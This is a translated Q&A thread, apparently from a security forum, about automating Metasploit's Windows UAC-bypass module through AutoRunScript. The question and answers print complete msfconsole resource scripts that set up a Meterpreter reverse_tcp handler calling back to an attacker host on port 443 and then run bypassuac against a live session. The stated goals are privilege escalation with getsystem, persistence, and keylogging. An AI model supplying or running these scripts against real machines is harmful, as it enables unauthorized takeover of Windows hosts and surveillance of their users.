如何使用 AutoRunScript 运行exploit/windows/local/bypassuac?

信息安全 元数据
2021-09-10 00:10:17

有没有办法使用 AutoRunScript 来运行需要参数的漏洞利用,例如标题中的那个?

我能够使用 AutoRunScript 完美地执行一些 post 命令,例如keylog_recordercheckvm.

但是当我添加我的脚本时:

use exploit/windows/local/bypassuac
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.1
set LPORT 443
set DisablePayloadHandler true
set SESSION 1
set TECHNIQUE EXE
set ExitOnSession false
exploit

我懂了:

[*]     Running command use exploit/windows/local/bypassuac
Loading extension exploit/windows/local/bypassuac...
[-] Failed to load extension: No module of the name ext_server_exploit/windows/local/bypassuac.x86.dll found
[*]     Running command set TARGET 0
[-] Unknown command: set.
[*]     Running command set PAYLOAD windows/meterpreter/reverse_tcp
[-] Unknown command: set.

显然我在这里遗漏了一些东西。我怎样才能做到这一点?我的目标是能够绕过 UAC,使用 getsystem,然后使用持久性选项获得立足点。

作为旁注,我知道使用“set SESSION 1”仅适用于参与的第一台计算机。我需要以某种方式使用变量来引用当前正在启动的会话。

有人对此有任何解决方案吗?

2个回答

您需要在设置 AutoRunScript 的位置直接提供选项。

msf exploit(handler) > set AutoRunScript exploit/windows/local/bypassuac LHOST=192.168.0.1 LPORT=443

您不能在 AutoRunScript 中执行这些命令,因为它们是 msfconsole 的命令,而 AutoScriptRun 仅适用于 Meterpreter 的上下文。所以,你需要这样的东西:

#msfconsole.rc
   #Configure your listener and payload
   use multi/handler
   set PAYLOAD windows/meterpreter/reverse_tcp
   set LHOST 192.168.0.1
   set LPORT 443
   set AutoRunScript auto.rc
   exploit -j
   use exploit/windows/local/bypassuac
   set TARGET 0
   set PAYLOAD windows/meterpreter/reverse_tcp
   set LHOST 192.168.0.1
   set LPORT 443
   set DisablePayloadHandler true
   set SESSION 1
   set TECHNIQUE EXE
   set ExitOnSession false
   #here you can also set another AutoRunScript for your new payload
   exploit

在 auto.rc 上,您可以放置​​以下内容:

#auto.rc

系统信息
检查虚拟机

以及任何其他meterpreter 命令或发布模块。